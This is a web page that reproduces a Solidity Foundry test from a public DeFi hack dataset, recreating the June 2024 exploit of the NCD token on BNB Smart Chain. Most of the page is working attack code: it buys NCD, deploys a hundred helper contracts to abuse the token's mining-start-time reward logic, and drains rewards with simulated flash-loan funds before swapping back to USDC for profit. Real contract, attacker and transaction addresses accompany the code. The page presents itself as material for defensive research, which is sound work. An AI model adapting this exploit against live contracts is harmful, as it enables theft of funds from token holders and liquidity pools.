Skip to content
THREATWIRE

Public reproduction file

src/test/2024-06/NCD_exp.sol

Public reproduction file for dataset entry NCD.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-06/NCD_exp.sol111 lines
1pragma solidity ^0.8.10;
2
3import "forge-std/Test.sol";
4import "../interface.sol";
5
6// @KeyInfo - Total Lost : $6.4K
7// Attacker : https://bscscan.com/address/0xd52f125085b70f7f52bd112500a9c334b7246984
8// Attack Contract : https://bscscan.com/address/0xfad2a0642a44a68606c2295e69d383700643be68
9// Attack Tx : https://bscscan.com/tx/0xbfb9b3b8a0d3c589a02f06c516b5c7b7569739edd00f9836645080f2148aefc7
11// GUY : https://x.com/SlowMist_Team/status/1797821034319765604
13interface INcd is IERC20 {
14 function mineStartTime(
15 address
16 ) external view returns (uint256);
19contract LetTheContractHaveRewards {
20 IUniswapV2Pair private constant ncd_usdc_pair_ = IUniswapV2Pair(0x94Bb269518Ad17F1C10C85E600BDE481d4999bfF);
21 INcd ncd_ = INcd(0x9601313572eCd84B6B42DBC3e47bc54f8177558E);
23 function preStartTimeRewards() public /*onlyOwner*/ {
24 ncd_usdc_pair_.skim(address(this));
25 ncd_.transfer(address(ncd_usdc_pair_), ncd_.balanceOf(address(this)) * 5 / 100);
26 ncd_.transfer(msg.sender, ncd_.balanceOf(address(this)));
27 require(ncd_.mineStartTime(address(this)) > 0);
28 }
30 function ack() public /*onlyOwner*/ {
31 //first, to get a reward
32 ncd_.transfer(msg.sender, ncd_.balanceOf(address(this)));
33 //seconds, to reward get msg.sender
34 ncd_.transfer(msg.sender, ncd_.balanceOf(address(this)));
35 }
38contract LetTheContractHaveUsdc is Test {
39 IERC20 ncd_ = IERC20(0x9601313572eCd84B6B42DBC3e47bc54f8177558E);
40 IERC20 usdc_ = IERC20(0x55d398326f99059fF775485246999027B3197955);
41 IRouter private constant router = IRouter(0x10ED43C718714eb63d5aA57B78B54704E256024E);
42 IUniswapV2Pair private constant ncd_usdc_pair_ = IUniswapV2Pair(0x94Bb269518Ad17F1C10C85E600BDE481d4999bfF);
44 function withdraw() public {
45 usdc_.approve(address(router), type(uint256).max);
46 ncd_.approve(address(router), type(uint256).max);
47 address[] memory path = new address[](2);
48 path[0] = address(ncd_);
49 path[1] = address(usdc_);
50 router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
51 ncd_.balanceOf(address(this)) * 5 / 100, 0, path, address(this), type(uint256).max
52 );
54 ncd_.transfer(msg.sender, ncd_.balanceOf(address(this)));
55 usdc_.transfer(msg.sender, usdc_.balanceOf(address(this)));
56 }
59contract EuroExploit is Test {
60 IERC20 ncd_ = IERC20(0x9601313572eCd84B6B42DBC3e47bc54f8177558E);
61 IERC20 usdc_ = IERC20(0x55d398326f99059fF775485246999027B3197955);
62 IRouter private constant router = IRouter(0x10ED43C718714eb63d5aA57B78B54704E256024E);
63 IUniswapV2Pair private constant ncd_usdc_pair_ = IUniswapV2Pair(0x94Bb269518Ad17F1C10C85E600BDE481d4999bfF);
65 LetTheContractHaveRewards[] letTheContractHaveRewardss;
67 function setUp() public {
68 vm.createSelectFork("bsc", 39_253_639);
69 usdc_.approve(address(router), type(uint256).max);
70 ncd_.approve(address(router), type(uint256).max);
71 }
73 function testExploit() public {
74 deal(address(usdc_), address(this), 10 ether); //Assume this is an exchange for uniswap, not flashloan!
75 emit log_named_decimal_uint("ack before usdc_ balance = ", usdc_.balanceOf(address(this)), usdc_.decimals());
76 address[] memory path = new address[](2);
77 path[0] = address(usdc_);
78 path[1] = address(ncd_);
79 router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
80 10 ether, 0, path, address(this), type(uint256).max
81 );
82 ncd_.transfer(address(ncd_usdc_pair_), ncd_.balanceOf(address(this)) * 5 / 100);
84 for (uint256 i = 0; i < 100; i++) {
85 LetTheContractHaveRewards letTheContractHaveRewards = new LetTheContractHaveRewards();
86 letTheContractHaveRewards.preStartTimeRewards();
87 letTheContractHaveRewardss.push(letTheContractHaveRewards);
88 }
90 vm.warp(block.timestamp + 1 days);
92 deal(address(usdc_), address(this), 10_000 ether); //flashloan 10000 usdc
93 router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
94 10_000 ether, 0, path, address(this), type(uint256).max
95 );
96 for (uint256 i = 0; i < letTheContractHaveRewardss.length; i++) {
97 LetTheContractHaveRewards letTheContractHaveRewards = letTheContractHaveRewardss[i];
98 ncd_.transfer(address(letTheContractHaveRewards), ncd_.balanceOf(address(this)));
99 letTheContractHaveRewards.ack();
100 }
101 while (ncd_.balanceOf(address(this)) > 1000 ether) {
102 // for(uint256 i = 0; i < 100; i++){
103 LetTheContractHaveUsdc letTheContractHaveUsdc = new LetTheContractHaveUsdc();
104 ncd_.transfer(address(letTheContractHaveUsdc), ncd_.balanceOf(address(this)));
105 letTheContractHaveUsdc.withdraw();
106 }
108 usdc_.transfer(address(0xdead), 10_030 ether); // repay flashLoan
109 emit log_named_decimal_uint("profit usdc_ balance = ", usdc_.balanceOf(address(this)), usdc_.decimals());
110 }

Analysis

Dataset entry

Public Foundry test for “NCD” (2024-06-04). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

14 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xd52f125085b70f7f52bd112500a9c334b7246984

  • Attack Contract

    0xfad2a0642a44a68606c2295e69d383700643be68

  • Attack Tx

    0xbfb9b3b8a0d3c589a02f06c516b5c7b7569739edd00f9836645080f2148aefc7

File record

Name
NCD
Path
src/test/2024-06/NCD_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
d6b1431d4017ae13673b945cd43b5ea178a6c844
Language
Solidity
Size
112 lines
Date
2024-06-04
Licence
ThreatWire editorial text
Retrieved
2026-10-19

Provenance

Path src/test/2024-06/NCD_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob d6b1431d4017ae13673b945cd43b5ea178a6c844, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.